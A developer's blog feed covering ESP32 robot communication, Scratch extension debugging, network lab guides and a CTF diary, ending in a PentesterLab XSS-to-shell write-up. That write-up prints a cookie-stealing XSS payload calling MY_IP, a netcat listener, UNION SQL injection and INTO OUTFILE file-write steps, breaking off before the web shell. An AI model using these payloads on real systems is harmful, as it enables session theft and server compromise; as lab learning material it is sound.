DEV Community: ekko1500

I Built Both Bluetooth and Wi-Fi… Then I Chose Bluetooth

ekko1500 — Mon, 14 Sep 2026 08:02:52 +0000

Recently, I spent quite a lot of time working on the communication system for the Padma robot.

My goal was simple:

Make it possible for children to control the Padma robot directly from the Padma app.

At first, I thought Wi-Fi would be the better choice.

I already had a kankaung-wifi extension, and I started working on making the ESP32 connect to Wi-Fi and communicate with the Padma app.

I also continued improving the Bluetooth mode at the same time.

So I ended up working on both Bluetooth and Wi-Fi.

And honestly, I was getting excited about the Wi-Fi version.

Wi-Fi gives me a lot of possibilities: WebSocket communication, faster data transfer, easier OTA updates, and more flexibility for future robotics features.

But then I started thinking about something more important.

Who is actually going to use this?

Children.

The Problem I Started Seeing

From a developer's perspective, connecting an ESP32 to Wi-Fi sounds simple.

The ESP32 needs:

SSID
Password

Then it connects to the network.

But for a child using Padma, it becomes something like:

Create or enable a phone hotspot.
Find the hotspot SSID.
Know the hotspot password.
Configure the ESP32 with those credentials.
Make sure the phone and ESP32 are on the same network.
Somehow find the ESP32's IP address.
Connect the Padma app to that IP.

Suddenly, something that looks simple from the developer side becomes a lot of steps for the user.

And if I have a workshop with many children and many robots, the problem becomes even bigger.

Imagine having 10 or 20 robots in the same room.

Now I have to think about:

Which hotspot does this robot belong to?
Which SSID should it use?
What password?
What IP address did the ESP32 receive?
How does the child know which robot to connect to?
What happens if the hotspot changes?
What happens if the IP changes?

I could solve these problems.

I started thinking about QR codes, automatic discovery, static IPs, unique robot IDs, UDP discovery, and other solutions.

Technically, it was possible.

But then I realized something.

I was making the system more complicated just to use Wi-Fi.

Bluetooth Was Already Doing What We Needed

The Bluetooth version was much simpler.

The basic idea is:

Padma App
    ↓
Bluetooth
    ↓
ESP32
    ↓
Robot

No router.

No hotspot.

No SSID.

No password.

No IP address.

The child can simply open Padma, select their robot, and start coding.

Of course, Bluetooth has its own challenges.

I had to deal with connection stability, device discovery, write operations, and even problems like messages crossing each other.

I spent quite a lot of time fixing those problems.

But after working through them, I realized that Bluetooth was already good enough for what Padma actually needs right now.

The Important Question

I think this was an important lesson for me as a developer.

I was asking:

"Which technology is better?"

But I should have been asking:

"Which technology is better for my users?"

Wi-Fi might be more powerful.

It might give me more possibilities in the future.

But Padma isn't currently trying to build a high-bandwidth robotics platform.

It's trying to help children learn programming by controlling robots.

For that purpose, simplicity matters more.

So I Made a Decision

For now, I decided to make Bluetooth the main communication method for Padma robots.

The experience I want is:

Turn on robot
      ↓
Open Padma
      ↓
Connect to robot
      ↓
Create blocks
      ↓
🚗 Robot moves

That's it.

I don't want a child to have to understand networking before they can learn programming.

They should be thinking about:

IF obstacle detected
    ↓
    turn left

Not:

Which IP address did my ESP32 get?

😅

But I'm Not Throwing Wi-Fi Away

One thing I don't want to do is completely delete the Wi-Fi implementation.

I've already spent a lot of time building and experimenting with kankaung-wifi.

And I still believe Wi-Fi will be useful for Padma in the future.

For example:

OTA firmware updates
Larger data transfers
Advanced telemetry
Camera-related features
More complex robotics projects
Future remote-control features

So instead of deleting it, I'm going to keep the Wi-Fi code in the project, but comment it out for now.

The current focus will be:

kankaung-bluetooth
        ↓
     PRIMARY
        ↓
   Padma Robot

while:

kankaung-wifi
        ↓
     FUTURE
        ↓
   Keep developing

This way, I'm not saying:

"Wi-Fi is bad."

I'm saying:

"Wi-Fi isn't the right user experience for Padma right now."

What I Learned

This project reminded me that engineering isn't always about choosing the most powerful technology.

Sometimes it's about removing complexity.

As developers, we naturally enjoy solving complicated technical problems.

I definitely do.

I can spend hours thinking about networking, protocols, discovery systems, WebSockets, IP addresses, and device provisioning.

But sometimes the best solution is the one that allows the user to never think about those things at all.

For Padma, I think Bluetooth is that solution—for now.

And maybe that's one of the most important parts of building technology for children:

Don't make them learn the complexity of the system just to enjoy the thing you're trying to teach them.

Let them open Padma.

Build their blocks.

Press start.

And watch their robot move.

🛠️ Step-by-Step Lab Guide: Web Server with VLAN Segmentation

ekko1500 — Wed, 09 Sep 2026 06:43:05 +0000

This lab creates an isolated network environment where a Windows Server with IIS sits behind VLAN segmentation, accessible only from authorized VLANs.

📋 Lab Overview

Internet (Simulated)
       ↓
   [Router] ← Layer 3 routing + ACLs
       ↓
   [Switch] ← VLAN 10, 20, 30 + VTP Server
    ↙   ↘
VLAN 10    VLAN 20
(Web Server) (Client PCs)

Your rules mapped:

Rule 1 – Allow 30 devices (office + internet) → Configure ACL permitting /27 subnet
Rule 2 – Access server from VLAN 10 → Assign web server to VLAN 10
Rule 3 – Access local VM from VLAN 20 → Client PCs in VLAN 20 can reach VLAN 10

Phase 1: VMware ESXi Setup

Step 1.1: Install ESXi

Download VMware ESXi from Broadcom (free license available)
Install on bare metal or in VMware Workstation for testing
Set management IP: 192.168.1.50/24

Step 1.2: Create Virtual Switch for VLANs

Reference: VLAN deployment requires port groups with specific VLAN IDs

Log into ESXi web interface (https://[your-ESXi-IP]/ui)
Navigate to Networking → Virtual switches
Click Add standard virtual switch
Name: vSwitch-VLAN
No uplink adapters (isolated internal network)
Click Add

Step 1.3: Create VLAN Port Groups

Port Group Name	VLAN ID	Purpose
VLAN 10 - Servers	10	Web Server VM
VLAN 20 - Clients	20	Client PCs
VLAN 30 - Management	30	Management access

Steps for each:

Networking → Port groups → Add port group
Name: VLAN 10 - Servers
VLAN ID: 10
Virtual switch: vSwitch-VLAN
Click Add

Note: VLAN ID must be between 2 and 4000

Phase 2: Create Virtual Machines

Step 2.1: Web Server VM (VLAN 10)

Virtual Machines → Create/Register VM
Name: WEB-SERVER-01
Guest OS: Microsoft Windows Server 2019/2022
CPU: 2 vCPU, RAM: 4GB, HDD: 40GB
Network Adapter 1: VLAN 10 - Servers
Complete creation, then power on

Step 2.2: Client VM (VLAN 20)

Create/Register VM
Name: CLIENT-01
Guest OS: Windows 10/11 or Ubuntu Linux
CPU: 1 vCPU, RAM: 2GB, HDD: 32GB
Network Adapter 1: VLAN 20 - Clients
Power on after creation

Step 2.3: Verify Isolation (Before Router Config)

Both VMs cannot ping each other yet—they're on different VLANs with no router between them.

Phase 3: Windows Server IIS Configuration

Step 3.1: Set Static IP on Web Server

Inside WEB-SERVER-01 VM:

Open Control Panel → Network and Sharing Center → Change adapter settings
Right-click network adapter → Properties
Select Internet Protocol Version 4 (TCP/IPv4) → Properties
Configure:
- IP address: 10.10.10.10
- Subnet mask: 255.255.255.0
- Default gateway: 10.10.10.1 (router interface for VLAN 10)

Step 3.2: Install IIS

PowerShell as Administrator:

Install-WindowsFeature -name Web-Server -IncludeManagementTools

Step 3.3: Create Test Website

Open IIS Manager
Right-click Sites → Add Website
Site name: TestSite
Physical path: C:\inetpub\testsite
Create folder and add index.html:

<html><body><h1>VLAN 10 Web Server</h1></body></html>

Step 3.4: Configure Windows Firewall

New-NetFirewallRule -DisplayName "Allow HTTP" -Direction Inbound -Protocol TCP -LocalPort 80 -Action Allow

Phase 4: Router/Switch Configuration

Step 4.1: VTP Server Setup (Central Switch)

VTP propagates VLAN configuration across switches

Switch# configure terminal
Switch(config)# vtp domain MYLAB
Switch(config)# vtp mode server
Switch(config)# vtp password cisco123
Switch(config)# vtp pruning

Step 4.2: Create VLANs

Switch(config)# vlan 10
Switch(config-vlan)# name SERVERS
Switch(config-vlan)# exit

Switch(config)# vlan 20
Switch(config-vlan)# name CLIENTS
Switch(config-vlan)# exit

Switch(config)# vlan 30
Switch(config-vlan)# name MANAGEMENT
Switch(config-vlan)# exit

Step 4.3: Configure Trunk Ports

For VTP to work, trunk ports must be configured between switches

Switch(config)# interface gi1/0/1
Switch(config-if)# switchport mode trunk
Switch(config-if)# switchport trunk encapsulation dot1q
Switch(config-if)# switchport trunk allowed vlan 1,10,20,30

Step 4.4: Assign Access Ports

Web server port:

Switch(config)# interface gi1/0/2
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 10

Client ports:

Switch(config)# interface gi1/0/3
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 20

Step 4.5: Router-on-a-Stick (Inter-VLAN Routing)

Router configuration:

Router(config)# interface gi0/1.10
Router(config-subif)# encapsulation dot1Q 10
Router(config-subif)# ip address 10.10.10.1 255.255.255.0
Router(config-subif)# exit

Router(config)# interface gi0/1.20
Router(config-subif)# encapsulation dot1Q 20
Router(config-subif)# ip address 10.10.20.1 255.255.255.0
Router(config-subif)# exit

Router(config)# interface gi0/1.30
Router(config-subif)# encapsulation dot1Q 30
Router(config-subif)# ip address 10.10.30.1 255.255.255.0

Step 4.6: Set Client Static IPs

On CLIENT-01 VM:

IP: 10.10.20.50
Mask: 255.255.255.0
Gateway: 10.10.20.1

Test connectivity:

ping 10.10.10.10

Should succeed now—router forwards between VLANs.

Phase 5: Access Control Rules

Step 5.1: Rule 1 – Allow 30 Office Devices

Define ACL for subnet 192.168.1.0/27 (30 hosts)

Router(config)# access-list 100 permit ip 192.168.1.0 0.0.0.31 any
Router(config)# interface gi0/0
Router(config-if)# ip access-group 100 in

Step 5.2: Rule 2 – Restrict Web Server Access

Only VLAN 10 can reach web server; visitors (VLAN 20) cannot

! Deny visitors from reaching server VLAN
Router(config)# access-list 101 deny ip 10.10.20.0 0.0.0.255 10.10.10.0 0.0.0.255
Router(config)# access-list 101 permit ip any any
Router(config)# interface gi0/1.20
Router(config-subif)# ip access-group 101 in

Step 5.3: Rule 3 – Local VM Access from VLAN 20

No action needed—inter-VLAN routing already allows this.

Phase 6: Testing & Verification

Test 1: Within VLAN 10

From WEB-SERVER-01: Can other VLAN 10 devices ping? Yes.

Test 2: Across VLANs

From CLIENT-01 (VLAN 20):

ping 10.10.10.10     → Success

Test 3: Web Access

From CLIENT-01 browser: http://10.10.10.10 → IIS page loads

Test 4: Verify ACLs

Router# show access-lists
Router# show ip interface gi0/1.20

📊 Final Architecture

┌─────────────────────────────────────────────────────────┐
│                      INTERNET                            │
│                        ↓                                 │
│              [Router] ACL 100 (permits /27)             │
│                        ↓                                 │
│   ┌────────────────────┴────────────────────┐          │
│   ↓ (gi0/1.10)                              ↓ (gi0/1.20)│
│ ┌──────────────────┐              ┌──────────────────┐  │
│ │ VLAN 10 - /24    │              │ VLAN 20 - /24    │  │
│ │ 10.10.10.0/24    │              │ 10.10.20.0/24    │  │
│ │                  │              │                  │  │
│ │ [WEB-SERVER-01]  │◄───ping───►  │ [CLIENT-01]      │  │
│ │ 10.10.10.10      │              │ 10.10.20.50      │  │
│ │ IIS: Port 80     │              │                  │  │
│ └──────────────────┘              └──────────────────┘  │
│                                                          │
│              [VTP Server Switch] - VLANs 10,20,30       │
└─────────────────────────────────────────────────────────┘

⚠️ Troubleshooting Tips

Problem	Solution
VMs can't ping	Check VLAN assignment, trunk config, subnet masks
VTP not syncing	Verify domain name, password, trunk ports
IIS not reachable	Check Windows Firewall, port 80
ACL blocking everything	Verify rule order and subnet masks

Want me to clarify any step or help with Cisco vs. Huawei/other vendor syntax?

Building a Dual-Mode (WiFi + Bluetooth) Scratch Extension for My ESP32 Robot

ekko1500 — Wed, 09 Sep 2026 06:41:15 +0000

I built KanKaung, an ESP32-based robot car that kids control with Scratch-style blocks — rotate a servo, blink an LED, read a sensor. It supports two ways to talk to it: WiFi and Bluetooth. This post is the story of turning that into one clean extension instead of two, and every bug I ran into along the way. I'm writing it mostly so future-me doesn't repeat these mistakes.

The starting point

The firmware originally drove two continuous-rotation servos through a simple command set:

left_servo cw|ccw|stop
right_servo cw|ccw|stop
left_servo_speed 0-100, right_servo_speed 0-100
led_on|led_off green|red|all
sensor_distance, sensor_ir_left, sensor_ir_right

Both the WiFi path (plain HTTP GET /cmd?action=...&value=...) and the Bluetooth path (a BLE characteristic you write a plain string to, like "left_servo cw") spoke the exact same vocabulary. That symmetry mattered a lot later.

Why I wanted one extension instead of two

I had kankaung-extension-wifi.js and kankaung-extension-bluetooth.js as separate files. Same blocks, copy-pasted twice, differing only in how they sent commands. The real problem: if a kid built a whole program using the WiFi extension and then wanted to switch to Bluetooth, they had to rebuild everything from scratch — the blocks were tied to a specific extension ID.

So the plan was: one extension, one block set, and pick the transport once.

Mistake #1: I first tried a dropdown on a "connect" block

My first design had a connect via [WiFi/Bluetooth] (IP: [IP]) block that kids would drag in. It worked, technically — but it didn't match how the app was actually meant to be used. The intent was: you connect once when the extension loads, and never think about it again. Having a "connect" block meant re-running it every time, which didn't make sense for something that should just be a one-time setup.

Lesson: figure out the actual intended UX before building the mechanism. I built the dropdown-on-a-block version first and had to rip it out later.

Mistake #2: two systems fighting over the same state

While ripping out the connect block, I found something worse: there was also a host-page popup modal that asked "WiFi or Bluetooth?" when the extension loaded — built earlier, in parallel, and left in place. Both the block's dropdown and the modal were trying to set which transport the extension used (this.transport), and whichever fired last silently won.

Symptom: connect via Bluetooth successfully, then run any block, and get:

Error: Not connected - use the connect block first
    at kankaung-wifi.js:103

Bluetooth had connected. But something, somewhere, quietly flipped the transport back to "wifi".

Lesson: when two independent pieces of code can both set the same flag, one of them is a bug waiting to happen. Pick one source of truth. In the end, the modal became the only thing allowed to set the transport, and I deleted the connect block entirely.

Mistake #3: connecting doesn't mean commands work

Once transport-selection was untangled, I still had command blocks that just... did nothing. No error. No movement. Nothing.

Turned out there wasn't a bug in the extension or the firmware at all — there was a missing file. The extension only does postMessage() to the parent page; something else has to catch that message and actually call fetch() or the Web Bluetooth API. I hadn't looked at that bridge code yet.

When I finally got it, I found:

const wifiSendHandler = async (event) => {
    await kankaungWiFi.send(event.detail);
    console.log("...completed:", event.detail);
};

This calls .send() and logs it — but never tells the extension the command finished. The extension's sendCommand() returns a Promise that only resolves when a KANKAUNG_WIFI_DONE message comes back. Since that message was never sent, every command's Promise just hung forever. From inside Scratch, a block that never finishes looks exactly like "nothing happened" — even though the robot might have physically moved.

Lesson: "the command was sent" and "the caller knows it finished" are two different things, and skipping the second one produces a bug that looks nothing like its actual cause.

Mistake #4: a real race condition in the Bluetooth code

Testing Bluetooth specifically, I hit:

Bluetooth connect failed: GATT Server is disconnected. Cannot retrieve services.
(Re)connect first with `device.gatt.connect`.

This is a known ESP32-BLE-vs-Chrome timing issue: device.gatt.connect() can report success a moment before the link has actually settled, so the very next call (getPrimaryService()) can land on a connection that's already gone.

Fix: add a short delay after connecting, and retry the whole connect-and-discover sequence a couple of times with backoff before giving up:

async _connectGattWithRetry(maxAttempts = 3) {
    for (let attempt = 1; attempt <= maxAttempts; attempt++) {
        try {
            const server = await this.device.gatt.connect();
            await new Promise(r => setTimeout(r, 400)); // let it settle
            if (!this.device.gatt.connected) throw new Error('dropped');
            const service = await server.getPrimaryService(SERVICE_UUID);
            // ...get characteristics...
            return { server, service, /* ... */ };
        } catch (err) {
            if (attempt < maxAttempts) await new Promise(r => setTimeout(r, 500 * attempt));
        }
    }
}

Mistake #5: a stuck queue when a BLE notification gets dropped

Related bug, same file: the Bluetooth command queue only released its "busy" flag when a notification came back from the ESP32 confirming the command finished. If even one notification got dropped (easy right after connecting, before the subscription has fully settled), busy stayed true forever — and every command after that one just silently queued up and never got sent, not just the first one.

Fix: a bounded timeout. If no reply shows up in a few seconds, resolve anyway and let the queue keep moving instead of wedging permanently:

this._pendingTimeout = setTimeout(() => {
    if (this.pendingResolve) {
        const resolve = this.pendingResolve;
        this.pendingResolve = null;
        resolve({ status: 'timeout', command: item.command });
        this.finish(); // release busy, keep the queue going
    }
}, 4000);

Mistake #6: the classic — I forgot to actually deploy the fix

After several rounds of edits, I hit the exact same "Not connected" error again, even after supposedly fixing it. The extension's own diagnostic log ([Extension] Transport mode set to: bluetooth) never appeared — meaning the message wasn't even being handled.

The bug wasn't in the code at all. It was that the file actually running on the server was an older version from a step in between two fixes — I'd removed the mode-setting listener in one pass, then added it back in a later pass, but the redeployed file never made it to the actual path the browser was loading from.

Lesson: when a bug you already fixed comes back exactly the same way, check whether your fix actually got deployed before you start debugging the logic again. Searching the live file for the exact string you expect to have added (grep, or just Ctrl+F in the file) takes ten seconds and saves an hour.

The final architecture

One extension file, one block set: rotate left/right servo [cw/ccw/stop], stop left/right servo, set left/right servo speed, LED blocks, sensor blocks.
No connect block. The extension posts KANKAUNG_EXTENSION_LOADED the moment it loads; the host page catches that and shows a one-time mode-selection popup.
The popup is the single source of truth for transport — it posts KANKAUNG_SET_MODE to the extension and fires the real connect (KANKAUNG_WIFI_CONNECT / KANKAUNG_CONNECT) in the same click handler.
Every block internally checks this.transport and routes to either the WiFi channel (KANKAUNG_WIFI_* messages → HTTP fetch()) or the Bluetooth channel (KANKAUNG_* messages → Web Bluetooth writeValue()), completely invisibly to the person dragging blocks around.
Both channels always reply with a _DONE or _ERROR message so the extension's promises actually resolve.

Quick checklist for next time

[ ] Does every "send a command" path have a matching "here's your reply" path? A promise with no way to resolve is a silent hang, not an error.
[ ] Is there more than one place that can set the same piece of state? If yes, that's a race condition waiting to happen — pick one owner.
[ ] For BLE specifically: never assume connect() resolving means the link is stable. Add a settle delay and a retry.
[ ] For any queue that waits on an external reply: always have a timeout fallback. "Waiting forever" should never be a valid state.
[ ] Before debugging logic again, check that your last fix is actually the file being served. grep the live file for a string you know you added.

Problem: Scratch Extension Cannot Communicate with scratch-gui / Web Bluetooth Situation

ekko1500 — Fri, 31 Jul 2026 08:33:28 +0000

I was developing a custom Scratch extension:

kankaung-extension-bt.js
inside a modified scratch-gui.

Goal:

Scratch Blocks
↓
KanKaung Extension
↓
Web Bluetooth
↓
ESP32 BLE
The ESP32 BLE connection worked when testing directly in Chrome:

navigator.bluetooth.requestDevice()
but when running from Scratch blocks, it failed.

Problem 1: Web Bluetooth worked in console but not from Scratch block
Error
Permissions policy violation:
bluetooth is not allowed in this document
or:

SecurityError:
Failed to execute requestDevice()
Cause
Scratch extensions are not running in the main browser window.

The extension is loaded inside an iframe:

window === top
false
Meaning:

Browser Window
│
├── scratch-gui
│
└── Extension iframe
|
└── kankaung-extension-bt.js
The iframe has different permissions and cannot directly access Web Bluetooth.

Problem 2: Trying to access Scratch VM
I tried:

Scratch.vm
or:

Scratch.runtime
Result:

undefined
Cause
External extensions only receive the public Scratch API:

Scratch.BlockType
Scratch.ArgumentType
Scratch.extensions.register()
They do NOT receive:

vm
runtime
redux store
Wrong Approach
Trying:

window.dispatchEvent(
new CustomEvent("KANKAUNG_CONNECT")
)
and listening in:

scratch-gui
did not work.

Why?
Because events stay inside the iframe.

Extension iframe

window.dispatchEvent()
|
X
|
scratch-gui window
The two windows are separated.

Wrong Approach 2
Trying:

window.parent.dispatchEvent()
or:

window.top.dispatchEvent()
caused:

Blocked a frame with origin "null"
from accessing a cross-origin frame
Cause
Browser security prevents direct access between different origins.

Even localhost pages can become:

origin: null
when loaded through iframe sandboxing.

Final Solution: Use postMessage()
postMessage() is designed for iframe communication.

Architecture:

window.parent.postMessage(
{
type:"KANKAUNG_SEND",
command:"LED_ON"
},
"*");
scratch-gui receives message
In:

src/containers/gui.jsx
listen:

window.addEventListener(
"message",
(event)=>{

if(event.data.type==="KANKAUNG_SEND")
{
    kankaungBluetooth.send(
        event.data.command
    );
}

});
scratch-gui → Extension
Do NOT use:

dispatchEvent()
Use:

window.postMessage(
{
type:"KANKAUNG_STATUS",
status:true
},
"*");
Extension listens:

window.addEventListener(
"message",
(event)=>{

if(event.data.type==="KANKAUNG_STATUS")
{
    this.connected =
    event.data.status;
}

});
Final Communication Flow
User clicks Scratch block

↓

kankaung-extension-bt.js

↓

postMessage()

↓

src/containers/gui.jsx

↓

kankaung-bluetooth.js

↓

navigator.bluetooth

↓

ESP32 BLE

↓

response

↓

postMessage()

↓

Scratch Extension
Key Lessons To Remember

Scratch extension ≠ scratch-gui Extension:

iframe
GUI:

main application
They are separated.

Never use:
Scratch.vm
Scratch.runtime
window.dispatchEvent()
window.parent.dispatchEvent()
for communication between extension and scratch-gui.
Use:
window.parent.postMessage()
Extension → GUI

and:

window.postMessage()
GUI → Extension

For custom hardware extensions in scratch-gui: Recommended architecture:

Extension
|
| postMessage
|
scratch-gui container
|
| Hardware manager
|
ESP32 / Arduino / Raspberry Pi
This approach is similar to how professional Scratch forks and hardware extensions communicate. You solved the hardest part: getting a custom Scratch extension to talk to your own hardware layer without Scratch Link.

How to Setup a UniFi Access Point & MikroTik Switch Local Test Lab (No Internet Required)

ekko1500 — Wed, 27 May 2026 03:50:48 +0000

Setting up an enterprise-grade home network or testing configuration changes usually requires an internet connection. But what if you want to build an isolated sandbox or test local area network (LAN) performance completely offline?

If you have a Ubiquiti UniFi Access Point, a MikroTik Cloud Router Switch (CRS), and a computer, you have everything you need to build a high-performance local test lab.

In this guide, we will walk you through the physical wiring, solving the "no-internet" IP routing issue, and adopting your AP without an ISP connection.

The Equipment Checklist

Before we dive in, make sure you have the following gear on your workbench:

Ubiquiti UniFi Access Point (Any modern U6, AC, or HD model)
UniFi PoE Injector (The power brick included with your AP, or an equivalent 24V/48V PoE injector)
MikroTik Cloud Switch (e.g., CRS series)
A Computer/Laptop with an Ethernet port (or an Ethernet-to-USB adapter)
Three Ethernet Cables (Cat5e or Cat6)

Phase 1: The Physical Topology (The Wiring Loop)

Because we don't have an Internet Service Provider (ISP) modem assigning power and routing data, our network setup needs to follow a precise physical loop.

⚠️ Critical Troubleshooting Note: If your Access Point's LED light does not turn on immediately after plugging it in, your power loop is incorrect. UniFi APs require Power over Ethernet (PoE). Most MikroTik switches do not output PoE power by default, so you must use the UniFi power brick injector.

Follow these steps exactly to build your local loop:

Connect your PC to the Switch: Cable #1.
Plug one Ethernet cable from your computer’s network port into Port 1 of your MikroTik switch.
Bridge the Switch to the Injector: Cable #2.
Plug a second Ethernet cable from Port 2 of your MikroTik switch into the LAN port of the UniFi PoE Injector power brick.
Deliver Power to the Access Point: Cable #3.
Plug a third Ethernet cable from the PoE port of the injector into the Main Ethernet port on the back of your UniFi Access Point.
Fire Up the Lab: Power.
Plug the PoE Injector's power cord into the wall outlet. Within 5 seconds, the UniFi AP’s circular LED ring will light up solid white, indicating it is powered up and ready for adoption.

Phase 2: Resolving the IP Address Problem

Normally, an ISP router runs a service called DHCP, which automatically dishes out IP addresses to your computer and AP so they can talk. Since we are completely offline, we have to trick the hardware into finding each other using a manual network space.

Step 1: Assign a Static IP to your Computer

You need to force your computer to live in the same network neighborhood that the UniFi AP defaults to when it can't find the internet.

Windows: Go to Settings > Network & Internet > Ethernet > Edit IP Settings. Change to Manual, toggle IPv4 on, and enter:
IP Address: 192.168.1.10
Subnet Mask: 255.255.255.0
Gateway: Leave Blank
macOS: Go to System Settings > Network > Ethernet > Details > TCP/IP. Change Configure IPv4 to Manually and enter:
IP Address: 192.168.1.10
Subnet Mask: 255.255.255.0
Router/Gateway: Leave Blank

Step 2: The UniFi AP Fallback IP

When a UniFi Access Point Boots up and fails to locate a DHCP server after a couple of minutes, it automatically claims a smart fallback IP: 192.168.1.20. Because your computer is now manually set to 192.168.1.10, your computer can now ping and see the AP across the MikroTik switch.

Phase 3: Local Software Configuration

Because we don't have internet access, we cannot use the UniFi smartphone application (which relies on cloud synchronization). Instead, we will host a local server controller directly on your testing machine.

Step 1: Fire Up the UniFi Network Server

Download the free UniFi Network Server application (formerly known as the UniFi Controller) from the Ubiquiti Downloads page onto your PC prior to starting your offline lab, or transfer it via a USB drive.
Launch the application on your computer.
Once initialized, click Launch a Browser to Manage the Network.
Your browser will open a local web page. Proceed through the setup wizard. When prompted to sign in with a UI.com account, select Switch to Advanced Setup and choose Local Access Only to create an offline username and password.

Step 2: Adopt the AP

Once inside the main UniFi dashboard dashboard, click on the UniFi Devices icon (the circular target logo on the left toolbar).
You will see your Access Point listed with its fallback IP address (192.168.1.20) and a status of Pending Adoption.
Click on the device name, and hit Adopt.
The AP light will blink for a moment, provision itself, and change to a Solid Blue light. Your AP is now fully adopted into your offline server.

Step 3: Broadcast a Local Wi-Fi Network

Go to Settings (the gear icon at the bottom left of your UniFi browser interface).
Click WiFi and select Create New WiFi.
Name your local test Wi-Fi network (SSID) and create a password.
Click Apply Changes. The server will push this configuration through your MikroTik switch straight to your AP.

How to Test Your New Offline LAN Lab

Grab a smartphone, a tablet, or a secondary laptop and connect to the new Wi-Fi network you just broadcasted.

Because you aren't connected to an ISP box, your phone will likely say "Connected, No Internet Access". This is exactly what we want.

To verify your local network throughput and communication:

Open a terminal or command prompt app on your phone or secondary device.
Type ping 192.168.1.10 (the IP address of your main computer).
If you see successful reply streams, your data is leaving your wireless device, passing through the UniFi AP, travelling through the MikroTik switch, and safely landing on your PC.

Congratulations—you have a fully operational, completely isolated wireless test lab!

How OverTheWire's Natas Humbled Me in 4 Levels or Less

ekko1500 — Sun, 24 May 2026 16:56:17 +0000

By: Me, a person who definitely cried a little

Date: Today, sadly

Day 1: Confidence is a Trap

I started Natas thinking, "It's just web security. I've used a browser before. How hard can it be?"

Famous last words.

Level 0 and 1 were fine. Base64 decoding? Please. I'm basically a hacker already.

Then Level 2 happened.

The PNG That Broke Me

I saw a pixel.png in the source code and thought, "Aha! Steganography!"

What followed was:

Trying to wget the file and getting a 401 Unauthorized (because I forgot the credentials... twice)
Finally getting credentials from Level 1, then facing a DNS resolution failure (thanks, my ISP)
Discovering my WSL had no sudo (turns out I wasn't even in WSL—I was in Git Bash like a lost child)
Installing exiftool after 45 minutes of dependency hell
Running exiftool pixel.png and getting... absolutely nothing
Trying strings, binwalk, and even a hex editor—still nothing
Finally admitting defeat and asking for help

The answer?

The PNG was a tracking pixel. 1x1. Transparent. Empty.

The real password was sitting in users.txt in the same directory, visible to anyone who bothered to look at the file listing.

I spent 6 hours analyzing nothing.

Level 3: Google's Gift to Idiots (Me)

Level 3's source code had a comment:

"Not even Google will find it this time..."

I stared at it for 10 minutes. Then I remembered: robots.txt.

One quick visit to /robots.txt and I saw:

Disallow: /s3cr3t/

I literally facepalmed. So loud my neighbor asked if I was okay.

Found the hidden directory. Found users.txt. Found the password for Level 4.

That took 90 seconds.

Lessons Learned (The Hard Way)

Lesson	Why It Hurt
Read the directory listing first	Because the answer is rarely in a blank PNG
Don't ignore source code comments	They're not flavor text—they're hints
Google doesn't index everything	But `robots.txt` tells you exactly what Google was told to ignore
WSL is not magic	You actually have to open it. Git Bash is not Linux.
Ask for help before hour 5	My ego cost me 6 hours of my life

Final Thoughts

I'm only on Level 3 and I've already:

Misdiagnosed a tracking pixel as a steganography challenge
Fought with DNS, WSL, and my own pride
Learned that robots.txt exists (should've known that already)
Realized I'm not as smart as I thought I was

But I'm still going.

Natas 4 tomorrow. Maybe I'll actually read the source code this time.

PSA to Future Me (and You)

If you're stuck on a Natas level and you find yourself installing forensic tools...

Stop.

Check the directory listing first. Read the source code again. Look for robots.txt.

The answer is rarely encrypted. It's usually just hidden in plain sight, laughing at you.

End of day. Time to touch grass.

From XSS to Shell: How I Broke Into a Server and Lived to Tell the Tale

ekko1500 — Sat, 23 May 2026 16:32:17 +0000

By: Someone who almost gave up three times

Lab: PentesterLab — XSS and MySQL FILE

Difficulty: Medium

Status: Owned ✅

🎭 Prologue: The ISO That Mocked Me

I downloaded an ISO. Booted it. Saw a blog. Thought, "This'll be easy."

I was wrong.

But I learned more in 3 hours of failing than in 3 months of reading theory.

This is the story of how I went from copy-pasting XSS payloads to executing whoami on a remote server — and how you can too.

📍 Phase 1: The Cookie Heist (XSS)

The Setup

The lab had a script running every minute. A headless browser called PhantomJS visited every page on the site. That browser? Already logged in as admin.

My job: Trick that bot into sending me its cookie.

What I Tried First (and failed)

<script>alert(1)</script>

Alert box popped for me. Cool. But the bot doesn't have eyeballs. I needed exfiltration.

The Breakthrough

<img src=x onerror="fetch('http://MY_IP:80/?'+document.cookie)">

But nothing happened. Why? No listener.

The Fix

On my Kali VM (192.168.56.102):

sudo nc -lnvp 80

Then injected payload pointing to Kali's IP.

Waited 60 seconds.

Then saw this in my terminal:

GET /?PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0
User-Agent: PhantomJS/1.9.1

Boom. Admin cookie stolen.

🧠 Lesson Learned

The bot visits automatically every minute — be patient.
Always start your listener BEFORE injecting.
ERR_CONNECTION_REFUSED means your XSS worked but nothing was listening.

📍 Phase 2: Walking In The Back Door

I took that cookie (PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0) and added it to my browser's storage.

Refreshed the page. Clicked "admin."

I was in.

No login prompt. No password. Just pure session hijacking.

🧠 Lesson Learned

Session cookies are gold. Treat them like root passwords.
If you steal an admin's cookie, you ARE the admin.

📍 Phase 3: The SQL Injection That Fought Back

In the admin panel, I found edit.php?id=1.

Tested:

/admin/edit.php?id=1'

Got a MySQL error. Injection confirmed.

The UNION Struggle

I tried:

id=1 union select 1,2,3,4

Got:

Notice: Trying to get property of non-object in /var/www/admin/edit.php on line 19

That error meant: the query changed but PHP expected a row.

Fix: Force the original query to return nothing:

id=1 and 1=2 union select 1,2,3,4

The error disappeared. Numbers appeared on the page. UNION worked.

🧠 Lesson Learned

non-object errors are actually GOOD — they mean you influenced the query.
Use and 1=2 to empty the original result set.
Find which columns display on the page (2 and 3 usually).

📍 Phase 4: The FILE Privilege Gamble

I checked the current user:

id=1 and 1=2 union select 1,user(),3,4

Output: root@localhost

Then checked FILE privilege:

id=1 and 1=2 union select 1,file_priv,3,4 FROM mysql.user WHERE user='root'

Output: Y

Game on.

🧠 Lesson Learned

root@localhost in MySQL often has FILE privilege.
file_priv = Y means you can read/write files on the server.

📍 Phase 5: Finding Where To Write

I tried writing a test file:

id=1 and 1=2 union select 1,2,3,4 INTO OUTFILE '/var/www/css/test.txt'

Got the non-object error again — but the file was still created.

Visited:

http://[VM_IP]/css/test.txt

Saw 1 2 3 4 on the page.

Directory confirmed writable.

🧠 Lesson Learned

INTO OUTFILE causes PHP errors but still writes the file.
Always check if the file exists via browser.
/var/www/css/ was the magic path in this lab.

📍 Phase 6: Deploying The Web Shell

Final payload:

